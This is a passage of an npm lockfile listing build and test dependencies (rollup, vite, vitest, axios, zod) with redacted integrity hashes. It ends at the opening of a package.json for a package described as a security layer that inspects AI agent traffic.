      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-riscv64-musl": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "riscv64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-s390x-gnu": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "s390x"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-x64-gnu": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-x64-musl": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-openbsd-x64": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "openbsd"
      ]
    },
    "node_modules/@rollup/rollup-openharmony-arm64": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "openharmony"
      ]
    },
    "node_modules/@rollup/rollup-win32-arm64-msvc": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "win32"
      ]
    },
    "node_modules/@rollup/rollup-win32-ia32-msvc": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "ia32"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "win32"
      ]
    },
    "node_modules/@rollup/rollup-win32-x64-gnu": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "win32"
      ]
    },
    "node_modules/@rollup/rollup-win32-x64-msvc": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "win32"
      ]
    },
    "node_modules/@standard-schema/spec": {
      "version": "1.1.0",
      "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/@types/chai": {
      "version": "5.2.3",
      "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@types/deep-eql": "*",
        "assertion-error": "^2.0.1"
      }
    },
    "node_modules/@types/deep-eql": {
      "version": "4.0.2",
      "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/@types/estree": {
      "version": "1.0.8",
      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/@vitest/expect": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@standard-schema/spec": "^1.0.0",
        "@types/chai": "^5.2.2",
        "@vitest/spy": "4.0.18",
        "@vitest/utils": "4.0.18",
        "chai": "^6.2.1",
        "tinyrainbow": "^3.0.3"
      },
      "funding": {
        "url": "https://opencollective.com/vitest"
      }
    },
    "node_modules/@vitest/mocker": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@vitest/spy": "4.0.18",
        "estree-walker": "^3.0.3",
        "magic-string": "^0.30.21"
      },
      "funding": {
        "url": "https://opencollective.com/vitest"
      },
      "peerDependencies": {
        "msw": "^2.4.9",
        "vite": "^6.0.0 || ^7.0.0-0"
      },
      "peerDependenciesMeta": {
        "msw": {
          "optional": true
        },
        "vite": {
          "optional": true
        }
      }
    },
    "node_modules/@vitest/pretty-format": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "tinyrainbow": "^3.0.3"
      },
      "funding": {
        "url": "https://opencollective.com/vitest"
      }
    },
    "node_modules/@vitest/runner": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@vitest/utils": "4.0.18",
        "pathe": "^2.0.3"
      },
      "funding": {
        "url": "https://opencollective.com/vitest"
      }
    },
    "node_modules/@vitest/snapshot": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@vitest/pretty-format": "4.0.18",
        "magic-string": "^0.30.21",
        "pathe": "^2.0.3"
      },
      "funding": {
        "url": "https://opencollective.com/vitest"
      }
    },
    "node_modules/@vitest/spy": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "funding": {
        "url": "https://opencollective.com/vitest"
      }
    },
    "node_modules/@vitest/utils": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@vitest/pretty-format": "4.0.18",
        "tinyrainbow": "^3.0.3"
      },
      "funding": {
        "url": "https://opencollective.com/vitest"
      }
    },
    "node_modules/assertion-error": {
      "version": "2.0.1",
      "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "engines": {
        "node": ">=12"
      }
    },
    "node_modules/asynckit": {
      "version": "0.4.0",
      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT"
    },
    "node_modules/axios": {
      "version": "1.13.4",
      "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.4.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "follow-redirects": "^1.15.6",
        "form-data": "^4.0.4",
        "proxy-from-env": "^1.1.0"
      }
    },
    "node_modules/call-bind-apply-helpers": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "es-errors": "^1.3.0",
        "function-bind": "^1.1.2"
      },
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/chai": {
      "version": "6.2.2",
      "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/combined-stream": {
      "version": "1.0.8",
      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "delayed-stream": "~1.0.0"
      },
      "engines": {
        "node": ">= 0.8"
      }
    },
    "node_modules/delayed-stream": {
      "version": "1.0.0",
      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "engines": {
        "node": ">=0.4.0"
      }
    },
    "node_modules/dunder-proto": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "call-bind-apply-helpers": "^1.0.1",
        "es-errors": "^1.3.0",
        "gopd": "^1.2.0"
      },
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/es-define-property": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/es-errors": {
      "version": "1.3.0",
      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/es-module-lexer": {
      "version": "1.7.0",
      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/es-object-atoms": {
      "version": "1.1.1",
      "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "es-errors": "^1.3.0"
      },
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/es-set-tostringtag": {
      "version": "2.1.0",
      "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "es-errors": "^1.3.0",
        "get-intrinsic": "^1.2.6",
        "has-tostringtag": "^1.0.2",
        "hasown": "^2.0.2"
      },
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/esbuild": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "hasInstallScript": true,
      "license": "MIT",
      "bin": {
        "esbuild": "bin/esbuild"
      },
      "engines": {
        "node": ">=18"
      },
      "optionalDependencies": {
        "@esbuild/aix-ppc64": "0.27.3",
        "@esbuild/android-arm": "0.27.3",
        "@esbuild/android-arm64": "0.27.3",
        "@esbuild/android-x64": "0.27.3",
        "@esbuild/darwin-arm64": "0.27.3",
        "@esbuild/darwin-x64": "0.27.3",
        "@esbuild/freebsd-arm64": "0.27.3",
        "@esbuild/freebsd-x64": "0.27.3",
        "@esbuild/linux-arm": "0.27.3",
        "@esbuild/linux-arm64": "0.27.3",
        "@esbuild/linux-ia32": "0.27.3",
        "@esbuild/linux-loong64": "0.27.3",
        "@esbuild/linux-mips64el": "0.27.3",
        "@esbuild/linux-ppc64": "0.27.3",
        "@esbuild/linux-riscv64": "0.27.3",
        "@esbuild/linux-s390x": "0.27.3",
        "@esbuild/linux-x64": "0.27.3",
        "@esbuild/netbsd-arm64": "0.27.3",
        "@esbuild/netbsd-x64": "0.27.3",
        "@esbuild/openbsd-arm64": "0.27.3",
        "@esbuild/openbsd-x64": "0.27.3",
        "@esbuild/openharmony-arm64": "0.27.3",
        "@esbuild/sunos-x64": "0.27.3",
        "@esbuild/win32-arm64": "0.27.3",
        "@esbuild/win32-ia32": "0.27.3",
        "@esbuild/win32-x64": "0.27.3"
      }
    },
    "node_modules/estree-walker": {
      "version": "3.0.3",
      "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@types/estree": "^1.0.0"
      }
    },
    "node_modules/expect-type": {
      "version": "1.3.0",
      "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "Apache-2.0",
      "engines": {
        "node": ">=12.0.0"
      }
    },
    "node_modules/fdir": {
      "version": "6.5.0",
      "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "engines": {
        "node": ">=12.0.0"
      },
      "peerDependencies": {
        "picomatch": "^3 || ^4"
      },
      "peerDependenciesMeta": {
        "picomatch": {
          "optional": true
        }
      }
    },
    "node_modules/follow-redirects": {
      "version": "1.15.11",
      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz",
      "integrity": [REDACTED_SECRET],
      "funding": [
        {
          "type": "individual",
          "url": "https://github.com/sponsors/RubenVerborgh"
        }
      ],
      "license": "MIT",
      "engines": {
        "node": ">=4.0"
      },
      "peerDependenciesMeta": {
        "debug": {
          "optional": true
        }
      }
    },
    "node_modules/form-data": {
      "version": "4.0.5",
      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "asynckit": "^0.4.0",
        "combined-stream": "^1.0.8",
        "es-set-tostringtag": "^2.1.0",
        "hasown": "^2.0.2",
        "mime-types": "^2.1.12"
      },
      "engines": {
        "node": ">= 6"
      }
    },
    "node_modules/fsevents": {
      "version": "2.3.3",
      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "hasInstallScript": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "darwin"
      ],
      "engines": {
        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
      }
    },
    "node_modules/function-bind": {
      "version": "1.1.2",
      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "funding": {
        "url": "https://github.com/sponsors/ljharb"
      }
    },
    "node_modules/get-intrinsic": {
      "version": "1.3.0",
      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "call-bind-apply-helpers": "^1.0.2",
        "es-define-property": "^1.0.1",
        "es-errors": "^1.3.0",
        "es-object-atoms": "^1.1.1",
        "function-bind": "^1.1.2",
        "get-proto": "^1.0.1",
        "gopd": "^1.2.0",
        "has-symbols": "^1.1.0",
        "hasown": "^2.0.2",
        "math-intrinsics": "^1.1.0"
      },
      "engines": {
        "node": ">= 0.4"
      },
      "funding": {
        "url": "https://github.com/sponsors/ljharb"
      }
    },
    "node_modules/get-proto": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "dunder-proto": "^1.0.1",
        "es-object-atoms": "^1.0.0"
      },
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/gopd": {
      "version": "1.2.0",
      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "engines": {
        "node": ">= 0.4"
      },
      "funding": {
        "url": "https://github.com/sponsors/ljharb"
      }
    },
    "node_modules/has-symbols": {
      "version": "1.1.0",
      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "engines": {
        "node": ">= 0.4"
      },
      "funding": {
        "url": "https://github.com/sponsors/ljharb"
      }
    },
    "node_modules/has-tostringtag": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "has-symbols": "^1.0.3"
      },
      "engines": {
        "node": ">= 0.4"
      },
      "funding": {
        "url": "https://github.com/sponsors/ljharb"
      }
    },
    "node_modules/hasown": {
      "version": "2.0.2",
      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "function-bind": "^1.1.2"
      },
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/magic-string": {
      "version": "0.30.21",
      "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@jridgewell/sourcemap-codec": "^1.5.5"
      }
    },
    "node_modules/math-intrinsics": {
      "version": "1.1.0",
      "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "engines": {
        "node": ">= 0.4"
      }
    },
    "node_modules/mime-db": {
      "version": "1.52.0",
      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "engines": {
        "node": ">= 0.6"
      }
    },
    "node_modules/mime-types": {
      "version": "2.1.35",
      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "dependencies": {
        "mime-db": "1.52.0"
      },
      "engines": {
        "node": ">= 0.6"
      }
    },
    "node_modules/nanoid": {
      "version": "3.3.11",
      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "funding": [
        {
          "type": "github",
          "url": "https://github.com/sponsors/ai"
        }
      ],
      "license": "MIT",
      "bin": {
        "nanoid": "bin/nanoid.cjs"
      },
      "engines": {
        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
      }
    },
    "node_modules/obug": {
      "version": "2.1.1",
      "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "funding": [
        "https://github.com/sponsors/sxzz",
        "https://opencollective.com/debug"
      ],
      "license": "MIT"
    },
    "node_modules/pathe": {
      "version": "2.0.3",
      "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/picocolors": {
      "version": "1.1.1",
      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "ISC"
    },
    "node_modules/picomatch": {
      "version": "4.0.3",
      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "engines": {
        "node": ">=12"
      },
      "funding": {
        "url": "https://github.com/sponsors/jonschlinkert"
      }
    },
    "node_modules/postcss": {
      "version": "8.5.6",
      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "funding": [
        {
          "type": "opencollective",
          "url": "https://opencollective.com/postcss/"
        },
        {
          "type": "tidelift",
          "url": "https://tidelift.com/funding/github/npm/postcss"
        },
        {
          "type": "github",
          "url": "https://github.com/sponsors/ai"
        }
      ],
      "license": "MIT",
      "dependencies": {
        "nanoid": "^3.3.11",
        "picocolors": "^1.1.1",
        "source-map-js": "^1.2.1"
      },
      "engines": {
        "node": "^10 || ^12 || >=14"
      }
    },
    "node_modules/proxy-from-env": {
      "version": "1.1.0",
      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT"
    },
    "node_modules/rollup": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@types/estree": "1.0.8"
      },
      "bin": {
        "rollup": "dist/bin/rollup"
      },
      "engines": {
        "node": ">=18.0.0",
        "npm": ">=8.0.0"
      },
      "optionalDependencies": {
        "@rollup/rollup-android-arm-eabi": "4.57.1",
        "@rollup/rollup-android-arm64": "4.57.1",
        "@rollup/rollup-darwin-arm64": "4.57.1",
        "@rollup/rollup-darwin-x64": "4.57.1",
        "@rollup/rollup-freebsd-arm64": "4.57.1",
        "@rollup/rollup-freebsd-x64": "4.57.1",
        "@rollup/rollup-linux-arm-gnueabihf": "4.57.1",
        "@rollup/rollup-linux-arm-musleabihf": "4.57.1",
        "@rollup/rollup-linux-arm64-gnu": "4.57.1",
        "@rollup/rollup-linux-arm64-musl": "4.57.1",
        "@rollup/rollup-linux-loong64-gnu": "4.57.1",
        "@rollup/rollup-linux-loong64-musl": "4.57.1",
        "@rollup/rollup-linux-ppc64-gnu": "4.57.1",
        "@rollup/rollup-linux-ppc64-musl": "4.57.1",
        "@rollup/rollup-linux-riscv64-gnu": "4.57.1",
        "@rollup/rollup-linux-riscv64-musl": "4.57.1",
        "@rollup/rollup-linux-s390x-gnu": "4.57.1",
        "@rollup/rollup-linux-x64-gnu": "4.57.1",
        "@rollup/rollup-linux-x64-musl": "4.57.1",
        "@rollup/rollup-openbsd-x64": "4.57.1",
        "@rollup/rollup-openharmony-arm64": "4.57.1",
        "@rollup/rollup-win32-arm64-msvc": "4.57.1",
        "@rollup/rollup-win32-ia32-msvc": "4.57.1",
        "@rollup/rollup-win32-x64-gnu": "4.57.1",
        "@rollup/rollup-win32-x64-msvc": "4.57.1",
        "fsevents": "~2.3.2"
      }
    },
    "node_modules/siginfo": {
      "version": "2.0.0",
      "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "ISC"
    },
    "node_modules/source-map-js": {
      "version": "1.2.1",
      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "BSD-3-Clause",
      "engines": {
        "node": ">=0.10.0"
      }
    },
    "node_modules/stackback": {
      "version": "0.0.2",
      "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/std-env": {
      "version": "3.10.0",
      "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/tinybench": {
      "version": "2.9.0",
      "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/tinyexec": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.0.2.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/tinyglobby": {
      "version": "0.2.15",
      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "fdir": "^6.5.0",
        "picomatch": "^4.0.3"
      },
      "engines": {
        "node": ">=12.0.0"
      },
      "funding": {
        "url": "https://github.com/sponsors/SuperchupuDev"
      }
    },
    "node_modules/tinyrainbow": {
      "version": "3.0.3",
      "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.0.3.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "engines": {
        "node": ">=14.0.0"
      }
    },
    "node_modules/vite": {
      "version": "7.3.1",
      "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "esbuild": "^0.27.0",
        "fdir": "^6.5.0",
        "picomatch": "^4.0.3",
        "postcss": "^8.5.6",
        "rollup": "^4.43.0",
        "tinyglobby": "^0.2.15"
      },
      "bin": {
        "vite": "bin/vite.js"
      },
      "engines": {
        "node": "^20.19.0 || >=22.12.0"
      },
      "funding": {
        "url": "https://github.com/vitejs/vite?sponsor=1"
      },
      "optionalDependencies": {
        "fsevents": "~2.3.3"
      },
      "peerDependencies": {
        "@types/node": "^20.19.0 || >=22.12.0",
        "jiti": ">=1.21.0",
        "less": "^4.0.0",
        "lightningcss": "^1.21.0",
        "sass": "^1.70.0",
        "sass-embedded": "^1.70.0",
        "stylus": ">=0.54.8",
        "sugarss": "^5.0.0",
        "terser": "^5.16.0",
        "tsx": "^4.8.1",
        "yaml": "^2.4.2"
      },
      "peerDependenciesMeta": {
        "@types/node": {
          "optional": true
        },
        "jiti": {
          "optional": true
        },
        "less": {
          "optional": true
        },
        "lightningcss": {
          "optional": true
        },
        "sass": {
          "optional": true
        },
        "sass-embedded": {
          "optional": true
        },
        "stylus": {
          "optional": true
        },
        "sugarss": {
          "optional": true
        },
        "terser": {
          "optional": true
        },
        "tsx": {
          "optional": true
        },
        "yaml": {
          "optional": true
        }
      }
    },
    "node_modules/vitest": {
      "version": "4.0.18",
      "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.0.18.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "@vitest/expect": "4.0.18",
        "@vitest/mocker": "4.0.18",
        "@vitest/pretty-format": "4.0.18",
        "@vitest/runner": "4.0.18",
        "@vitest/snapshot": "4.0.18",
        "@vitest/spy": "4.0.18",
        "@vitest/utils": "4.0.18",
        "es-module-lexer": "^1.7.0",
        "expect-type": "^1.2.2",
        "magic-string": "^0.30.21",
        "obug": "^2.1.1",
        "pathe": "^2.0.3",
        "picomatch": "^4.0.3",
        "std-env": "^3.10.0",
        "tinybench": "^2.9.0",
        "tinyexec": "^1.0.2",
        "tinyglobby": "^0.2.15",
        "tinyrainbow": "^3.0.3",
        "vite": "^6.0.0 || ^7.0.0",
        "why-is-node-running": "^2.3.0"
      },
      "bin": {
        "vitest": "vitest.mjs"
      },
      "engines": {
        "node": "^20.0.0 || ^22.0.0 || >=24.0.0"
      },
      "funding": {
        "url": "https://opencollective.com/vitest"
      },
      "peerDependencies": {
        "@edge-runtime/vm": "*",
        "@opentelemetry/api": "^1.9.0",
        "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0",
        "@vitest/browser-playwright": "4.0.18",
        "@vitest/browser-preview": "4.0.18",
        "@vitest/browser-webdriverio": "4.0.18",
        "@vitest/ui": "4.0.18",
        "happy-dom": "*",
        "jsdom": "*"
      },
      "peerDependenciesMeta": {
        "@edge-runtime/vm": {
          "optional": true
        },
        "@opentelemetry/api": {
          "optional": true
        },
        "@types/node": {
          "optional": true
        },
        "@vitest/browser-playwright": {
          "optional": true
        },
        "@vitest/browser-preview": {
          "optional": true
        },
        "@vitest/browser-webdriverio": {
          "optional": true
        },
        "@vitest/ui": {
          "optional": true
        },
        "happy-dom": {
          "optional": true
        },
        "jsdom": {
          "optional": true
        }
      }
    },
    "node_modules/why-is-node-running": {
      "version": "2.3.0",
      "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT",
      "dependencies": {
        "siginfo": "^2.0.0",
        "stackback": "0.0.2"
      },
      "bin": {
        "why-is-node-running": "cli.js"
      },
      "engines": {
        "node": ">=8"
      }
    },
    "node_modules/zod": {
      "version": "3.25.76",
      "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
      "integrity": [REDACTED_SECRET],
      "license": "MIT",
      "funding": {
        "url": "https://github.com/sponsors/colinhacks"
      }
    }
  }
}


path: package.json
content: {
  "name": "@torknetwork/guardian",
  "version": "1.0.2",
  "description": "AI governance and security layer for OpenClaw agents. Intentionally inspects AI agent traffic to detect PII leaks, policy violations, and dangerous tool calls.",
  "main": "dist/index.js",
  "types": "dist/index.d.ts",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
